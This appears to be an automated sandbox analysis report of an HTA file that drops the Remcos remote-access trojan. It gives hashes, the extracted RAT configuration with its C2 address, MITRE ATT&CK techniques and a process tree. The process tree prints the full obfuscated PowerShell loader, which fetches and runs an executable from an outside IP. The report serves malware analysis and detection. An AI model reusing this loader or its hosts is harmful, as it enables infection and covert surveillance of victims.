remcos | 73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644

General

Target

73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644.hta
Size

143KB
MD5

fd6fc3abb81de5133fb2de54b937ca20
SHA1

241f7fa153504078a9a9b07f966f3c4e862a9545
SHA256

73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644
SHA512

5c37a3432112eb422e264101706a1c9e5bb7c266f064e8618b96e7e6e185800ffdf315d02f27cc23cd07e6a854bbbe19ccb5173eff885f8c808d76d6dab86516
SSDEEP

768:tlEHKFlVum2oum2QB3S5KUJDVUKhC74GVf/AyK+v6Aq1Xl7zPRDIfz9esnkoFfz7:tl

Score

10^/10

remcos elvis defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

elvis

C2

107.173.4.16:2560

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-GJDISH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	3044	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
3044	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2584	nicetomeetyousweeet.exe

Loads dropped DLL 4 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe
3044	powershell.exe
3044	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 320	3060	mshta.exe	31
PID 3060 wrote to memory of 320	3060	mshta.exe	31
PID 3060 wrote to memory of 320	3060	mshta.exe	31
PID 3060 wrote to memory of 320	3060	mshta.exe	31
PID 320 wrote to memory of 3044	320	cmd.exe	33
PID 320 wrote to memory of 3044	320	cmd.exe	33
PID 320 wrote to memory of 3044	320	cmd.exe	33
PID 320 wrote to memory of 3044	320	cmd.exe	33
PID 3044 wrote to memory of 2684	3044	powershell.exe	34
PID 3044 wrote to memory of 2684	3044	powershell.exe	34
PID 3044 wrote to memory of 2684	3044	powershell.exe	34
PID 3044 wrote to memory of 2684	3044	powershell.exe	34
PID 2684 wrote to memory of 2816	2684	csc.exe	35
PID 2684 wrote to memory of 2816	2684	csc.exe	35
PID 2684 wrote to memory of 2816	2684	csc.exe	35
PID 2684 wrote to memory of 2816	2684	csc.exe	35
PID 3044 wrote to memory of 2584	3044	powershell.exe	37
PID 3044 wrote to memory of 2584	3044	powershell.exe	37
PID 3044 wrote to memory of 2584	3044	powershell.exe	37
PID 3044 wrote to memory of 2584	3044	powershell.exe	37

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWeRsHelL -EX BYPass -nop -W 1 -C deVicecREDeNtIaLDEPLOYmEnt.ExE ; INVOkE-ExPRESsIon($(iNVOKe-eXprEsSIoN('[SYsTem.tEXT.eNCODing]'+[cHAr]58+[chAR]58+'UTF8.GeTSTrInG([sySTEm.coNVErt]'+[cHAR]0X3A+[CHar]58+'fRomBasE64StriNG('+[cHAr]0X22+'JHJIQVp5bkw1UG1uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRFZkluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtidUtvVmpvYUxlLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwWWZJLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMa0ZHT09RclBIUix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdzeE9URlFFZXAsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFoWFEpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlSRFN1IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5sT0NzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJIQVp5bkw1UG1uOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc5LjE2Ni83NS9lY29tZS5leGUiLCIkRW52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUiLDAsMCk7U1RBUlQtU2xFRXAoMyk7aU52b0tFLWVYUFJlU1NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNldG9tZWV0eW91c3dlZWV0LmV4ZSI='+[cHAR]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWeRsHelL -EX BYPass -nop -W 1 -C deVicecREDeNtIaLDEPLOYmEnt.ExE ; INVOkE-ExPRESsIon($(iNVOKe-eXprEsSIoN('[SYsTem.tEXT.eNCODing]'+[cHAr]58+[chAR]58+'UTF8.GeTSTrInG([sySTEm.coNVErt]'+[cHAR]0X3A+[CHar]58+'fRomBasE64StriNG('+[cHAr]0X22+'JHJIQVp5bkw1UG1uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRFZkluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtidUtvVmpvYUxlLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwWWZJLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMa0ZHT09RclBIUix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdzeE9URlFFZXAsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFoWFEpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlSRFN1IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5sT0NzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJIQVp5bkw1UG1uOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc5LjE2Ni83NS9lY29tZS5leGUiLCIkRW52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUiLDAsMCk7U1RBUlQtU2xFRXAoMyk7aU52b0tFLWVYUFJlU1NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNldG9tZWV0eW91c3dlZWV0LmV4ZSI='+[cHAR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hsszhjey.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2684
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDA78.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDA77.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2816
  - - C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe
      "C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe"
      4⤵
      Executes dropped EXE
      PID:2584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESDA78.tmp

Filesize
1KB

MD5
6c16d5e09d968fe737f6aad70d4e7739

SHA1
69565d5e1ef489cb02c1267b74176d4074735794

SHA256
6c2a2dd9e86eb3c63258bad721745f869824a6469a76e7ef58407f5ff7bbe989

SHA512
aed79bb96d8a3cdcd3fbdaf60659cf0c98274b09e6115bf0fff58e98478a4d25cb668c4cfda1ffb7bca5ac8b7d6e4ecc141c12f000ad642f97de0b2a5d81fd85

Download Submit
C:\Users\Admin\AppData\Local\Temp\hsszhjey.dll

Filesize
3KB

MD5
8aff5e3c0108e36a7d909d38d138c58a

SHA1
84557042c4cedf68c459c962ab5a26937b9f5ca4

SHA256
fc7effa3fa3da96d4e5df88182b7350fb8589f2625adedf0bf51ebf2aa77759e

SHA512
942fe994e5c3250d5bf43d0c8af6890c44ebd518d1cdd6eb5a415f85cb145792a95b1fc92ff82aa7f33260a0f46b896fe7943fe96736cc3b0ce8fd6202a4af14

Download Submit
C:\Users\Admin\AppData\Local\Temp\hsszhjey.pdb

Filesize
7KB

MD5
b8cb1f0ac35a196d0bcab3162b2f2dff

SHA1
f1ee47d7111b5554481a3817e04c1c2534e394fe

SHA256
2d3d45feff8b00af9d8ab8ab9f7a5bf0ce478061700da0f40f1af3582b5e4f79

SHA512
a57d32898e0842162d975772e1ca9d40fc90a49e5fa231e98e3c1cc8d7ee2d78e6daf372654709f2fe972054f665dc68ce569b1576e81c23f6fd643386b27685

Download Submit
C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe

Filesize
530KB

MD5
c6b0fba610732719435d9621878bc605

SHA1
789afce0b2016029215db7cca0ce7c4acfa54b4c

SHA256
ce59b68d157e34b9608b9535441963aaef11068cae3b75a3646238f25b74b92d

SHA512
5d67d7e0fec12d7f03053d809f614263c6af7b3d54ed794632ee9024895b3c607ebcabd81a2d6202d280968c4df1ef9bd3699675416a67936345f8622c206933

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCDA77.tmp

Filesize
652B

MD5
6ab45d3a1757662fc2f64529318bb019

SHA1
7a6a7da1f35c02b81ad2080f5d9604bfdab00c25

SHA256
4c7953fc43f7ca676e3a4942f9d9a634feff00bac095662fa5656197632131c5

SHA512
ccee7843c68e8e4908eff4532109d0c620eb05c07fd4a4828fe080cbc7d7a59f90bd7a41b8506b940cba9826e09390b11a84eae27c0b1354c36a96a138b66cbe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hsszhjey.0.cs

Filesize
493B

MD5
00df4ae943d803cb15795b1fd55ead94

SHA1
fc1509b646d150cc4d1c2d92cf772be4af67716b

SHA256
e8d13d324b35fc23a6729caa22125343bfebb09476a9334e93e8c1804ce6314a

SHA512
e40826e83f25a3be3fdf26c1d5a667d0eb40d53d3f0fe46f8cc395152cd1eb46b98e193fc3a3f06b6cefadbed030d2a90a5575c1d235228d53d5f152d2e85796

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hsszhjey.cmdline

Filesize
309B

MD5
249191783844264da644754f8886d1ed

SHA1
5bb64fa12aa0acdf31f3bb7148ad6107048272a0

SHA256
bc869449ff16a41cc47de54a5933e5114e45dbbd99d3d233b9570a895e140368

SHA512
336677c3ce403076626785b3258bb57859e308853535e09e16c735cf1255bf89e6cc8eaf386c710d0061be7d50e817c9bdc64d7065907680625365c9cdedf57d

Download Submit
memory/2584-35-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-39-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-34-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-32-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-36-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-37-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-38-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-33-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-40-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-41-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-42-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-43-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-44-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2584-45-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download

Analysis

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